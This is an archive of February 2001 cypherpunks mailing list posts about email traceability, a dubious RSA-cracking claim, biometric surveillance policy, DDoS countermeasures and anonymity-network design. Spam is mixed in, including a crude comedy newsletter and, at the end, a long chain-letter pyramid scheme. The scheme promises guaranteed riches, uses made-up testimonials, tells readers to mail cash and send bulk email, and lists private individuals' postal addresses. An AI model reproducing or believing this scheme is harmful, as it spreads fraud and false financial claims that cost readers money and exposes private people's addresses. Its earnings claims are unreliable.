Sent: Monday, February 05, 2001 5:12 PM
To: Blank Frank
Cc: cypherpunks at toad.com
Subject: Re: anonymity



Intercepted by the CIA?  Do they regularly pre-screen POTUS's
incoming international e-mail, or what?
MacN

On Mon, 5 Feb 2001, Blank Frank wrote:

>
> It proved that, in an electronic age, all
>               communications were traceable and
>               attributable, Mrs Bowman said in a
>               statement.
>
> .........
>
>
> Bush alert over pupil's prank
>
>               The threats to George W Bush prompted a major
>               alert
>               A UK schoolboy sparked an international
>               security alert after he sent an e-mail to the
>               White House, threatening to kill United
>               States President George W Bush.
>
>               The 14-year-old pupil at Blake High School
>               in Cannock, Staffordshire sent the threats
>               from a school computer.
>
>               He was investigated and interviewed by the
>               Special Branch, after the e-mail was
>               intercepted by the US Central Intelligence
>               Agency.
>
>               The teenager, whose name has not been
>               disclosed, was not suspended, but was
>               severely reprimanded by the police and
>               school authorities.
>
>               A spokesman for Staffordshire County
>               Council said the e-mail was sent in
>               November last year, at the time of the US
>               elections.
>
>               'Several involved'
>
>               "Several boys were involved in this, but
>               only one was reprimanded by police
>               officers who went to his home," the
>               spokesman said.
>
>               The council was in the process of drawing
>               up guidelines for schools on internet
>               security measures, he said.
>
>               "We hope to keep incidents like this to a
>               minimum in the future," he added.
>
>               The school's head teacher, Heather
>               Bowman, described the incident as "a
>               thoughtless prank".
>
>               It proved that, in an electronic age, all
>               communications were traceable and
>               attributable, Mrs Bowman said in a
>               statement.
>
>               "The school is well aware of its
>               responsibilities and has good monitoring
>               and security systems in place, which are
>               constantly being updated," she added.
>
>
> http://news.bbc.co.uk/hi/english/education/newsid_1153000/1153922.stm
>
>
>
>
>





From dmolnar at hcs.harvard.edu  Mon Feb  5 15:37:53 2001
From: dmolnar at hcs.harvard.edu (dmolnar)
Date: Mon, 5 Feb 2001 18:37:53 -0500 (EST)
Subject: anonymity
In-Reply-To: <3A7EF19D.9B8D4E22@mindspring.com>
Message-ID: <Pine.OSF.4.05.10102051835500.3173-100000@hcs.harvard.edu>




On Mon, 5 Feb 2001, Blank Frank wrote:

>               A UK schoolboy sparked an international
>               security alert after he sent an e-mail to the
>               White House, threatening to kill United
>               States President George W Bush.

Back in high school, we had a story that this had happened the year
before I started there. The details were fuzzy, but variously involved a
chat room comment or a direct threat to president at whitehouse.gov . I
wonder how many kids end up in trouble for this each year...

-David





From info at giganetstore.com  Mon Feb  5 11:10:25 2001
From: info at giganetstore.com (info at giganetstore.com)
Date: Mon, 5 Feb 2001 19:10:25 -0000
Subject: =?iso-8859-1?Q?Dia_de_S=E3o_Valentim?=
Message-ID: <008f12510190521WWWSHOPENS@wwwshopens.giganetstore.com>

Se pretender visualizar esta informação numa página do seu browser em
formato HTML, basta clicar aqui.
<http://www.giganetstore.com/dynamic/promotions/mails/dianamorados.htm> 
Dia de São Valentim
Neste dia tão especial, ofereça prendas
<http://www.giganetstore.com/gifts/GiftSuggestions.asp?ChannelId=0>  com
Amor.
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From bill.stewart at pobox.com  Mon Feb  5 19:24:08 2001
From: bill.stewart at pobox.com (Bill Stewart)
Date: Mon, 05 Feb 2001 19:24:08 -0800
Subject: fast way to decode RSA encryption
In-Reply-To: <Pine.LNX.4.10.10102051341220.29593-100000@clueserver.org>
References: <F72txc1o8yfogkJXrRj0000dcf3@hotmail.com>
Message-ID: <3.0.5.32.20010205192408.00a12b00@idiom.com>


This was discussed on the cryptography at c2 list, 
though somebody did a nice job of putting the disjointed email
conversations into readable order for slashdot.

The key to the "new" method is solving to
	2**X == 1 mod N
which is the discrete log problem,
just like the previous "new" "crack" of RSA,
then using that answer to solve the factoring,
not necessarily that efficiently.
Since the discrete log problem is about as hard as factoring,
a not-blazingly-efficient solution to the discrete log part
is less efficient that the best factoring methods.


At 01:42 PM 2/5/01 -0800, Alan Olsen wrote:
>Yep.  Slashdot has a quote from Ron Rivest on why it is not a break or a
>big deal.  (The method works, but it is *slower* than factoring.)
>
>http://slashdot.org/article.pl?sid=01/02/05/1911258&mode=flat


				Thanks! 
					Bill
Bill Stewart, bill.stewart at pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639




From kenny_maekit at hotmail.com  Mon Feb  5 11:41:34 2001
From: kenny_maekit at hotmail.com (Warren Piece)
Date: Mon, 05 Feb 2001 19:41:34 -0000
Subject: fast way to decode RSA encryption
Message-ID: <F72txc1o8yfogkJXrRj0000dcf3@hotmail.com>


anyone else seen this claim?
http://www.mb.com.ph/INFO/2001-02/IT020201.asp
_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com




From ravage at einstein.ssz.com  Mon Feb  5 18:36:00 2001
From: ravage at einstein.ssz.com (Jim Choate)
Date: Mon, 05 Feb 2001 20:36:00 -0600
Subject: Slashdot | IBM's New USBKey Device
Message-ID: <3A7F6310.6876C3AD@ssz.com>

http://slashdot.org/articles/01/02/05/1818203.shtml
-- 
    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------
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From ravage at einstein.ssz.com  Mon Feb  5 18:45:02 2001
From: ravage at einstein.ssz.com (Jim Choate)
Date: Mon, 5 Feb 2001 20:45:02 -0600 (CST)
Subject: About IBM's new USBKey
Message-ID: <Pine.LNX.3.96.1010205203900.356j-100000@einstein.ssz.com>



Hi,

It seems to me that with 8M you could keep your kernel, your encryption
keys, your encryption engine, along with  filesystem hashes on it. If they
could get this up to 16M+ you could probably put a bootable image on it,
make the system come up much quicker.

Now if it only had a pull-tab ala Dune...maybe we'll get lucky and the
battery will be accessible.

    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------




From declan at well.com  Mon Feb  5 19:34:13 2001
From: declan at well.com (Declan McCullagh)
Date: Mon, 5 Feb 2001 22:34:13 -0500
Subject: anonymity
In-Reply-To: <Pine.OSF.4.05.10102051835500.3173-100000@hcs.harvard.edu>; from dmolnar@hcs.harvard.edu on Mon, Feb 05, 2001 at 06:37:53PM -0500
References: <3A7EF19D.9B8D4E22@mindspring.com> <Pine.OSF.4.05.10102051835500.3173-100000@hcs.harvard.edu>
Message-ID: <20010205223413.E12958@cluebot.com>


It was a not-uncommon -- once or twice a semester -- phenom
at Carnegie Mellon University, where all undergrads starting in the 80s
got email accounts. Not that interesting, really.

-Declan

On Mon, Feb 05, 2001 at 06:37:53PM -0500, dmolnar wrote:
> 
> 
> On Mon, 5 Feb 2001, Blank Frank wrote:
> 
> >               A UK schoolboy sparked an international
> >               security alert after he sent an e-mail to the
> >               White House, threatening to kill United
> >               States President George W Bush.
> 
> Back in high school, we had a story that this had happened the year
> before I started there. The details were fuzzy, but variously involved a
> chat room comment or a direct threat to president at whitehouse.gov . I
> wonder how many kids end up in trouble for this each year...
> 
> -David
> 
> 




From declan at well.com  Mon Feb  5 19:37:29 2001
From: declan at well.com (Declan McCullagh)
Date: Mon, 05 Feb 2001 22:37:29 -0500
Subject: What the biometrics industry says about privacy, surveillance
Message-ID: <5.0.2.1.0.20010205223725.024df700@mail.well.com>


**********
Background:
http://www.politechbot.com/p-01696.html
http://www.politechbot.com/cgi-bin/politech.cgi?name=biometric

Biometric-enabled laptop:
http://www.cnn.com/2001/TECH/computing/02/02/biometric.security.idg
Time magazine on "Welcome to the Snooper Bowl":
http://www.time.com/time/magazine/article/0,9171,98003,00.html

National Basketball Association vows no face-recog at All-Star Game:
http://www.nypost.com/technology/23123.htm
AP article on Utah officials considering face-recog for 2002 Olympics:
http://inq.philly.com/content/inquirer/2001/02/03/sports/OLY03.htm

**********

http://www.ibia.org/pressrelease19.htm

                           Biometrics and Privacy:
                    Industry Policy on Crowd Surveillance

    February 2, 2001, Washington, D.C. --- During last months Super Bowl
    game in Tampa, Florida, local officials conducted a trial that used
    software technology and video surveillance systems to compare fans
    entering the stadium against a database of suspected criminals and
    terrorists.  In view of these events, IBIA and its member companies
    believe it is appropriate to reiterate industry policy on the use of
    biometrics by government agencies, and to offer guidance to any
    entities that are considering the use of biometrics in public places.

    On March 24, 1999, IBIA adopted Privacy Principles that were intended
    to encourage biometric manufacturers, integrators and end users to
    ensure that biometric data cannot be misused.  In announcing the
    principles, Bill Wilson, Chairman of IBIA, said we are acutely
    conscious of the need to protect personal information in any biometric
    application. The industry is taking this step to promote
    self-regulation in the private sector, encourage clarity and
    transparency for users, and provide guidance on matters that may
    require legislative action in the public sector.

    The first IBIA Privacy Principle calls for safeguards that ensure
    biometric data is not misused to compromise any information, or
    released without personal consent or the authority of law.  Concerning
    the use of biometrics in the public sector, IBIA recommends in the
    third Privacy Principle that clear legal standards should be developed
    to carefully define and limit the conditions under which agencies of
    national security and law enforcement may acquire, access, store, and
    use biometric data. The full text of the IBIA Privacy Principles is
    available online at http://www.ibia.org/privacy.htm.

    IBIA members implement these principles by urging users to follow
    three practical steps, says Richard E. Norton, Executive Director of
    IBIA. Our companies recommend that clear signage or other means of
    notification be used to inform everyone that video imaging and facial
    recognition technology are being used in any public area. They also
    advise users that the images should be used only to make comparisons
    against known violators, and in no circumstance should nonmatching
    images be retained in a database once the comparison has been
    conducted. Finally, they remind users that all applications of
    biometric technology must comply with existing law governing the
    storage and use of data by public agencies, adds Norton.

    IBIA was formed in September 1998 and has 27 member companies, and is
    open to all biometric manufacturers, integrators, and end-users who
    agree to abide by the IBIA Statement of Principles and Code of Ethics.
    Biometric technology involves the automatic identification or identity
    verification of an individual based on physiological or behavioral
    characteristics. Such authentication is accomplished by using computer
    technology in a noninvasive way to match patterns of live individuals
    in real time against enrolled records. Examples include products that
    use face, iris, hand, fingerprint, signature and voice measurements in
    environments such as border control, information security, physical
    access control, financial transactions, time and attendance, law
    enforcement, and other civil and government applications.

    For further information please contact Mr. Norton, at phone (703)
    250-0206.

**********

http://www.ibia.org/privacy.htm

                           IBIA Privacy Principles
     1. Biometric data is electronic code that is separate and distinct
        from personal information, and provides an effective, secure
        barrier against unauthorized access to personal information.
        Beyond this inherent protection, IBIA recommends safeguards to
        ensure that biometric data is not misused to compromise any
        information, or released without personal consent or the authority
        of law.
     2. In the private sector, IBIA advocates the development of policies
        that clearly set forth how biometric data will be collected,
        stored, accessed, and used, and that preserve the rights of
        individuals to limit the distribution of the data beyond the
        stated purposes.
     3. In the public sector, IBIA believes that clear legal standards
        should be developed to carefully define and limit the conditions
        under which agencies of national security and law enforcement may
        acquire, access, store, and use biometric data.
     4. In both the public and private sectors, IBIA advocates the
        adoption of appropriate managerial and technical controls to
        protect the confidentiality and integrity of databases containing
        biometric data.

**********




From adam at cypherspace.org  Mon Feb  5 19:45:20 2001
From: adam at cypherspace.org (Adam Back)
Date: Mon, 5 Feb 2001 22:45:20 -0500
Subject: IW: Tools Stunt DoS Attacks
Message-ID: <200102060345.WAA00990@modemcable005.191-202-24.mtl.mc.videotron.ca>



This sounds like just a short term work-around, easily countered by
the DoSers.

Rather than fix the problem, they propose to try to detect "unusual
activity" and block the IPs.  I'm not sure what "trace" means either
-- identify IPs and hunt down the perpetrators?

It's predictable low tech approach to all net problems -- identify
undesirable behavior, trace it, complain to ISPs, block it, form
coallitions against the behavior with central clearing houses of
people to block.

Ultimately you can't distinguish between DDoS and popular content.
They're just pushing the DDoS crowd to the next obvious and easy level
-- bypass their fingerprinting of unusual behavior.  They can't
counter-escalate much futher because they'll start getting into false
positives and rejecting legitimate traffic.

Any robust long term solution to DDoS needs to defend against DDoS
with Distributed Service.  If content can be mirrored and cached
reactively to traffic, mature versions of systems like FreeNet could
be built to cope with DDoS.  If requests are routed to local caches
there is no longer a central server taking all the traffic, which is
the basic problem these people are trying to kludge around.

They might want to look at Hash Cash and Client Puzzles for systems
which can't be easily distributed (web apps with central database
needing to be updated).

Adam

> Roughly a year after cyber-terrorists paralyzed some of the Web's
> most trafficked sites, technology is finally emerging to stop such
> distributed denial-of-service attacks before they ever reach their
> target sites.
> 
> [...]
> 
> To combat such attacks on routers, a new company called Arbor
> Networks--funded by Cisco and Intel--this week will launch a managed
> availability service that aims to detect, trace and block DoS
> attacks.
> 
> http://update.internetweek.com/cgi-bin4/flo?y=eCNx0Bd6gU0V30DDqD




From keyser-soze at hushmail.com  Mon Feb  5 23:32:45 2001
From: keyser-soze at hushmail.com (keyser-soze at hushmail.com)
Date: Mon, 5 Feb 2001 23:32:45 -0800 (PST)
Subject: anonymity
Message-ID: <200102060750.XAA04540@user5.hushmail.com>

doubtful.  they probably receive the email at the destination then alert 
the
chain-of-jurisdiction for investigation. count me as a technical skeptic 
of
an 'untargeted' echelon program.
phillip


-----Original Message-----
From: owner-cypherpunks at Algebra.COM
[mailto:owner-cypherpunks at Algebra.COM]On Behalf Of Mac Norton
Sent: Monday, February 05, 2001 5:12 PM
To: Blank Frank
Cc: cypherpunks at toad.com
Subject: Re: anonymity

Intercepted by the CIA?  Do they regularly pre-screen POTUS's
incoming international e-mail, or what?
MacN

>>This approach might make a good test for ZeroKnowledge resistance to traffic 
analysis.  Since chain of evidence is useless for ZKS messages (if you believe 
ZKS) only TA could finger the sender.  Any takers?

ks

From rodney at comedyontap.com  Mon Feb  5 23:48:02 2001
From: rodney at comedyontap.com (Comedy On Tap)
Date: Mon, 05 Feb 2001 23:48:02 PST
Subject: Comedy On Tap
Message-ID: <200102060749.AAA58909@s0205.pm0.net>


      Comedy On Tap
     Daily Newsletter
   For Tuesday, January 23, 2001

A one hundred and four-year-old Russian woman has grown new 
teeth.  Maria Vasilieva is delighted that she will at last 
be able to enjoy her favorite ginger cookies...

... One word: "Chernobl"

Finally! We sobered up enough to scan in the pictures from 
the 'N Sync / Comedy On Tap / SportsHollywood / party at The 
Sundance Film Festival. Look and laugh:
http://www.sportshollywood.com/sundance.html

WHAT?
New-style underwire bras are sending washing-machine repair 
workers crazy. Bra wires have become the biggest cause of 
blockages or damage to washing machines in Britain, 
electrical repairs group Curry's Coverplan said...

... Meanwhile, customer numbers are sagging... 

... On the bright side the lint in the machines is now more 
shapely and voluptuous...

... Phones and computers can do it, when will bras finally 
develop wireless technology...?

ENTERTAINMENT
Regis Philbin finally has a new partner. "All My Children" 
actress Kelly Ripa was introduced Monday as Philbin's 
co-host on the syndicated talk show...

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a contestant on his other show...

... She's working hard to lose enough talent to take over 
for Kathie Lee Gifford...

... Can Kelly find happiness with Regis? Will the conniving 
Erica Kane spoil Kelly's talk show debut? Or will Kelly miss 
Pine Valley and go back to the handsome Mateo Santos? Tune 
in tomorrow and find out...

POLITICS
Former President Clinton and Sen. Hillary Rodham Clinton 
will reimburse Democratic fundraiser Denise Rich and others 
who showered them with gifts in their final year in the 
White House...

... "We did nothing wrong - and we're giving everything 
back..."

SURF REPORT
Yeah, but she's REALLY smart:
http://www.comedyontap.com/features/tasteless.htm

DEAD, DIVORCED, MARRIED, IN JAIL OR PREGNANT
After 11 years of marriage, Tom Cruise and Nicole Kidman 
said Monday that they are separating because their work is 
keeping them apart...

... So they need some time apart from not seeing each other...?

IT'S WEIRD!
In Barnstable, Massachusetts, high schoolers are checking 
their cafeteria food a lot more closely after one student 
found part of a thumb in her turkey sandwich. Apparently one 
of the cafeteria workers severed the top of her thumb in a 
slicer...

... And from now on, they're only serving finger food...

... You don't want to know what they found in the butt steak...

ON FEBRUARY 6th...

In 1971, Alan Shepard hit a golf ball on the Moon using a 
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... You know you're bad when your ball doesn't even carry in 
zero gravity...

... Somehow "that's one small wedge for a man, one giant 
three wood for mankind" just didn't sound as catchy.

TASTELESS
In Elmont, New York, a man walked into a gas station with a 
toilet plunger stuffed under his coat, intending to rob the 
place.  Pretending that the plunger was a gun, he demanded 
money, but the attendant said no.  He then turned and ran, 
dropping the plunger on his way out...

... I bet the New York cops will figure out what to do with 
that plunger when they catch him...

FINALLY...
Things my girlfriend says:
   
Go ahead and leave the seat up.
Hey, get a whiff of that one.
This diamond is way too big.
I won't even put my lips on that thing unless I get to swallow.
Wow, it really is 14 inches!
Sure, I'd love for us to have three-way sex with my best friend.
I love it when you finger me while you drive.
Let's stay at that dirty, old motel on the highway.  It's 
cheaper and we can spend the money we save on beer.
I farted again.  Lift the covers so we can smell it.
Oh yeah,... *any* hole you want!!!

... That's why she's my girlfriend!

---------------------------------------------------------
Forward Comedy On Tap's "FINALLY" to a friend! (please)

Not already a Subscriber???

Go to:
http://www.comedyontap.com/daily/index.html

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Subscribe NOW! Send a blank e-mail to

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---------------------------------------------------------

"Merrill Lynch is issuing three new bonds. The Monica, which 
has no maturity; the Gore, which has no interest; the 
Clinton, which has no principal."

-- New York Post gossip columnist Cindy Adams



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From pzakas at toucancapital.com  Mon Feb  5 21:17:51 2001
From: pzakas at toucancapital.com (Phillip H. Zakas)
Date: Tue, 6 Feb 2001 00:17:51 -0500
Subject: fast way to decode RSA encryption
In-Reply-To: <Pine.LNX.4.10.10102051341220.29593-100000@clueserver.org>
Message-ID: <PHEOLKHKKADCALFJMBNIOEOECDAA.pzakas@toucancapital.com>



I spent a little bit of time studying this approach.  I know Rivest is
dismissing it, but from a computational perspective it's more efficient in
terms of clock cycles than trying to factor a number using
multiplication/division (at least using the Pentium chip.)  Here is a link
detailing pentium clock cycles for various instructions:
http://orakel.tihlde.org/kurs/3d/download/PENTIUM.TXT
You'll see that the instructions for loading 8-bit values and performing an
XOR, shift and compare is pretty low (<25 clock cycles on paper anyway).
The clock cycles for an average multiplication is in the tens-to-hundreds of
clock cycles.  It's a bit more difficult to calculate the clock cycles for
larger values, but in principle this should engage much fewer clock cycles
than traditional factoring techniques. If this isn't a true crack as Rivest
claims, it's at least a (computationally) faster factoring technique.
Perhaps this is the way to more quickly win the next DES-cracking challenge.
Is my analysis off-base?? I've contacted the amateur mathematician to see if
we can obtain more info.

phillip


-----Original Message-----
From: owner-cypherpunks at Algebra.COM
[mailto:owner-cypherpunks at Algebra.COM]On Behalf Of Alan Olsen
Sent: Monday, February 05, 2001 4:43 PM
To: Warren Piece
Cc: cypherpunks at cyberpass.net
Subject: Re: fast way to decode RSA encryption



On Mon, 5 Feb 2001, Warren Piece wrote:

> anyone else seen this claim?
> http://www.mb.com.ph/INFO/2001-02/IT020201.asp

Yep.  Slashdot has a quote from Ron Rivest on why it is not a break or a
big deal.  (The method works, but it is *slower* than factoring.)

http://slashdot.org/article.pl?sid=01/02/05/1911258&mode=flat

alan at ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.
    "In the future, everything will have its 15 minutes of blame."





From wahern at 25thandClement.com  Tue Feb  6 00:17:59 2001
From: wahern at 25thandClement.com (Bill Ahern)
Date: Tue, 6 Feb 2001 00:17:59 -0800
Subject: pipenet
Message-ID: <01020600175902.05817@bill>


I am trying to build a prototype pipenet system. ver 1.1 of the model, as 
opposed to the original, calls for a MAC and sequence number. what are the 
implications of excluding the seperate MAC and simply using the sequence as 
the authenticator? since any decent cipher, using CBC mode, should alter the 
sequence regardless of its position in the cell. am i wrong on this? am i 
missing some relationship between a seperate MAC, a sequence and the cell?

if a seperate MAC is necessary, what are alternatives to using popular HMAC's 
(MD5,SHA1...), since these seem too long (16bytes * #nodes). would crc32 
suffice? 

thanx,

bill

p.s. feel free to shoot down any and all assumptions i have unwittingly made 
;)

-- 
Bill Ahern
wahern at 25thandClement.com

OpenPGP Fingerprint
8CA0 D751 16ED F450 7C23
EE7C EFE5 FFE7 C0B8 0C71

"Humanity is shaped by adversity and colored by failure."




From millennia at gmx.co.uk  Tue Feb  6 00:43:22 2001
From: millennia at gmx.co.uk (millennia at gmx.co.uk)
Date: Tue, 6 Feb 2001 00:43:22
Subject: "Get The Lifestyle You Want"
Message-ID: <736.1238.139189@themailmachine.rconnect.com>


Get the Lifestyle You Want


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-----------------------------------------------------------------
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the mail I decided to gamble my $25 on it. I followed the
simple instructions and walaa ..... 3 weeks later the money
started to come in. First month I only made $240.00 but
the next 2 months after that I made a total of $290,000.00.
So far, in the past 8 months by re-entering the program, I
have made over $710,000.00 and I am playing it again.
The key to success in this program is to follow the simple
steps and NOTchange anything .''

More testimonials later but first,

*** PRINT THIS NOW FOR YOUR FUTURE REFERENCE ***

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
If you would like to make at least $500,000 every 4 to 5 months
easily and comfortably, please read the following...THEN READ
IT AGAIN and AGAIN !!!
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

FOLLOW THE SIMPLE INSTRUCTION BELOW AND YOUR
FINANCIAL DREAMS WILL COME TRUE, GUARANTEED!

INSTRUCTIONS:

**** Order all 5 reports shown on the list below.

**** For each report, send $5CASH, THE NAME & NUMBER OF
THE REPORT YOU ARE ORDERING and YOUR E-MAIL ADDRESS
to the person whose name appears ON THAT LIST next to the report.
MAKE SURE YOUR RETURN ADDRESS IS ON YOUR ENVELOPE
TOP LEFT CORNER in case of any mail problems and use tape over 
the
 seal for added security.

**** When you place your order, make sure you order each of the 5
reports. You will need all 5 reports so that you can save them on
your computer and resell them. YOUR TOTAL COST $5X 5 = $25.00.

**** Within a few days you will receive, vie e-mail, each of the 
5
reports from these 5 different individuals. Save them on your
computer so they will be accessible for you to send to the 
1,000's
of people who will order them from you. Also make a floppy of 
these
reports and keep it on your desk in case something happen to your
computer.

****.IMPORTANT -DO NOT alter the names of the people who are
listed next to each report, or their sequence on the list, in
any way other than what is instructed below in step '' 1 through
6 '' or you will loose out on majority of your profits. Once you
understand the way this works, you will also see how it does not
work if you change it.

Remember, this method has been tested, and if you alter, it
will NOT work!!! People have tried to put their friends/relatives
names on all five thinking they could get all the money. But it
does not work this way. Believe us, we all have tried to be 
greedy
and then nothing happened.
So Do Not try to change anything other than what is instructed.
Because if you do, it will not work for you. Remember, honesty
reaps the reward!!!

1.. After you have ordered all 5 reports, take this advertisement
and REMOVE the name & address of the person in REPORT # 5. This
person has made it through the cycle and is no doubt counting
their fortune.

2.... Move the name & address in REPORT #4down TO REPORT #5.

3.... Move the name & address in REPORT #3 down TO REPORT #4.

4.... Move the name & address in REPORT #2 down TO REPORT #3.

5.... Move the name & address in REPORT #1 down TO REPORT #2

6.... Insert YOUR name & address in the REPORT #1 Position.

PLEASE MAKE SURE you copy every name & address
ACCURATELY!
=================================================

Take this entire letter, with the modified list of names, and 
save
it on your computer. DO NOT MAKE ANY OTHER CHANGES.
Save this on a disk as well just in case if you loose any data.

To assist you with marketing your business on the Internet, the
5 reports you purchase will provide you with invaluable
marketing information which includes how to send bulk e-mails
legally, where to find thousands of free classified ads and much
more.

There are 2 Primary methods to get this venture going:

METHOD # 1 : BY SENDING BULK E-MAIL LEGALLY
============================================
let's say that you decide to start small, just to see how it
goes, and we will assume You and those involved send out only
5,000 e-mails each. Let's also assume that the mailing receive 
only
a 0.2% response (the response could be much better but lets just
say it is only 0.2% . Also many people will send out hundreds of
thousands e-mails instead of only 5,000 each).

Continuing with this example, you send out only 5,000 e-mails.
With a 0.2%response, that is only 10 orders for report #1.
Those 10people responded by sending out 5,000 e-mail
each for a total of 50,000. Out of those 50,000 e-mails only
0.2% responded with orders. That's = 100 people responded
and ordered Report #2. Those 100 people mail out 5,000
e-mails each for a total of 500,000 e-mails. The 0.2% response
to that is 1000 orders for Report #3. Those 1000 people send
out 5,000 e-mails each for a total of 5 million e-mails sent out.
The 0.2% response to that is 10,000 orders for Report #4.
Those 10,000 people send out 5,000 e-mails each for a total of
50,000,000 (50 million)e-mails. The 0.2% response to that is
100,000 orders for Report # 5.

THAT'S 100,000 ORDERS TIMES $5 EACH = $500,000.00 (half million).

Your total income in this example is:
1..... $50+
2..... $500+
3..... $5,000 +
4..... $50,000+
5..... $500,000.........Grand Total = $555,550.00

NUMBERS DO NOT LIE. GET A PENCIL & PAPER AND FIGURE
OUT THE WORST POSSIBLE RESPONSES AND NO MATTER
HOW YOU CALCULATE IT, YOU WILL STILL MAKE A LOT OF
MONEY!

-----------------------------------------------------------------
-----------

REMEMBER FRIEND, THIS IS ASSUMING ONLY 10 PEOPLE
ORDERING OUT OF 5,000 YOU MAILED TO. Dare to think for
a moment what would happen if everyone, or half or even one 4thof
those people mailed 100,000 e-mails each or more? There are
over 150 million people on the Internet worldwide and counting.
Believe me, many people will do just that, and more!

METHOD #2 : BY PLACING FREE ADS ON THE INTERNET
===================================================
Advertising on the net is very very inexpensive and there are
hundreds of FREE places to advertise. Placing a lot of free ads
on the Internet will easily get a larger response. We strongly
suggest you start with Method # 1 and add METHOD #2 as you go
along.

For every $5 you receive, all you must do is e-mail them the 
Report
they ordered. That's it . Always provide same day service on all
orders. This will guarantee that the e-mail they send out, with 
your
name and address on it, will be prompt because they can not
advertise until they receive the report.

_______________ AVAILABLE REPORTS__________________

ORDER EACH REPORT BY ITS NUMBER & NAME ONLY.

Notes: Always send $5 cash (U.S. CURRENCY) for each Report.
Checks NOT accepted. Make sure the cash is concealed by wrapping
it in at least 2 sheets of paper. On one of those sheets of 
paper,
Write the NUMBER & the NAME of the Report you are ordering,
YOUR E-MAIL ADDRESS and your name and postal address.

PLACE YOUR ORDER FOR THESE REPORTS NOW:
==============================================
Report #1:"The Insider's Guide to Advertising for Free on the 
Net"
Order Report #1 from:

Don Dagner
302 Gallager St. E. / P.O.Box 76
Morgan, MN 56266
USA 
-----------------------------------------------------------------
--
Report #2: "The Insider's Guide to Sending Bulk e-mail on the 
Net"
Order Report #2 from:

Cris Ardeleanu
5571 Dove Trace
Norcross, Ga. 30093
USA

-----------------------------------------------------------------
-
Report #3:"The Secret to Multilevel marketing on the Net"
Order Report #3 from:

 Sandy Siladi
5638 Friar Tuck Ct
Lilburn, Ga. 30047
USA

-----------------------------------------------------------------
-
Report #4:"How to become a millionaire utilizing MLM & the Net"
Order Report #4 from:

  Jennifer Randall
10600 Brunswick Rd #113
Bloomington, MN 55438
USA
 
-----------------------------------------------------------------
---
Report #5:"HOW TO SEND 1 MILLION E-MAILS FOR FREE"
Order Report #5 from:

 Frank Willmar
8901 W 124th St Apt 290
Shawnee Mission, KS 66213
USA

$$$$$$$$$ YOUR SUCCESS GUIDELINES $$$$$$$$$$$

Follow these guidelines to guarantee your success:

If you do not receive at least 10 orders for Report #1 within 2
weeks, continue sending e-mails until you do.

After you have received 10 orders, 2 to 3 weeks after that
you should receive 100 orders or more for REPORT #2.
If you did not, continue advertising or sending e-mails until
you do.

Once you have received 100 or more orders for Report #2,
YOU CAN RELAX, because the system is already working for
you , and the cash will continue to roll in!

THIS IS IMPORTANT TO REMEMBER :Every time your name is
moved down on the list, you are placed in front of a different
report.
You can KEEP Track of your PROGRESS by watching which
report people are ordering from you. IF YOU WANT TO GENERATE
MORE INCOME SEND ANOTHER BATCH OF E-MAIL SAND
START THE WHOLE PROCESS AGAIN. There is NO LIMIT to
the income you can generate from this business!!!
____________________________________________________

FOLLOWING IS A NOTE FROM THE ORIGINATOR OF THIS
PROGRAM:

"You have just received information that can give you financial
freedom for the rest of your life, with NO RISK and JUST A
LITTLE BIT OF EFFORT. You can make more money in the
next few weeks and months than you have ever imagined.

Follow the program EXACTLY AS INSTRUCTED. Do Not change
it in any way. It works exceedingly well as it is now.
Remember to e-mail a copy of this exciting report after you
have put your name and address in Report #1 and moved others to
#2...........#5 as instructed above. One of the people you send
this to may send out 100,000 or more e-mails and your name will 
be
on everyone of them. Remember though, the more you send out the
more potential customers you will reach.

So my friend, I have given you the ideas, information,
materials and opportunity to become financially independent.
IT IS UP TO YOU NOW!

************** MORETESTIMONIALS****************

'' My name is Mitchell. My wife , Jody and I live in Chicago.
I am an accountant with a major U.S. Corporation and I
make pretty good money. When I received this program I grumbled
to Jody about receiving ''junk mail''. I made fun of the whole
thing, spouting my knowledge of the population and percentages
involved. I ''knew'' it wouldn't work. Jody totally ignored my
supposed intelligence and few days later she jumped in with both
feet. I made merciless fun of her, and was ready to lay the old 
''I
told you so'' on her when the thing didn't work. Well, the laugh
was on me! Within 3 weeks she had received 50 responses. Within 
the
next 45 days she had received a total of $ 147,200.00 all cash!I
was shocked. I have joined Jody in her ''hobby''.
Mitchell Wolf, M.D. , Chicago, Illinois

-----------------------------------------------------------------
--------
''Not being the gambling type, it took me several weeks to
make up my mind to participate in this plan. But conservative 
that
I am, I decided that the initial investment was so little that
there was just no way that I wouldn't get enough orders to at 
least
get my money back.
I was surprised when I found my medium size post office box 
crammed
with orders. I made $319,210.00 in the first 12 weeks. The nice
thing about this deal is that it does not matter where people 
live.
There simply isn't a better investment with a faster return and 
so
big''.
Dan Sondstrom, Alberta, Canada

-----------------------------------------------------------------
----------
''I had received this program before. I deleted it, but later I
wondered if I should have given it a try. Of course, I had no 
idea
who to contact to get another copy, so I had to wait until I was 
e-
mailed again by someone else.........11 months passed then it
luckily came again...... I did not delete this one! I made more
than $490,000 on my first try and all the money came within 22
weeks''.
Susan De Suza, New York, N.Y.

-----------------------------------------------------------------
--------
'' It really is a great opportunity to make relatively easy money
with little cost to you. I followed the simple instructions
carefully and within 10 days the money started to come in. My 
first
month I made $ 20, 560.00 and by the end of third month my total
cash count was $ 362,840.00.
Life is beautiful, Thanx to Internet''.
Fred Dellaca, Westport, New Zealand

-----------------------------------------------------------------
--------
ORDER YOUR REPORTS TODAY AND GET STARTED ON
OUR ROAD TO FINANCIAL FREEDOM!
=================================================
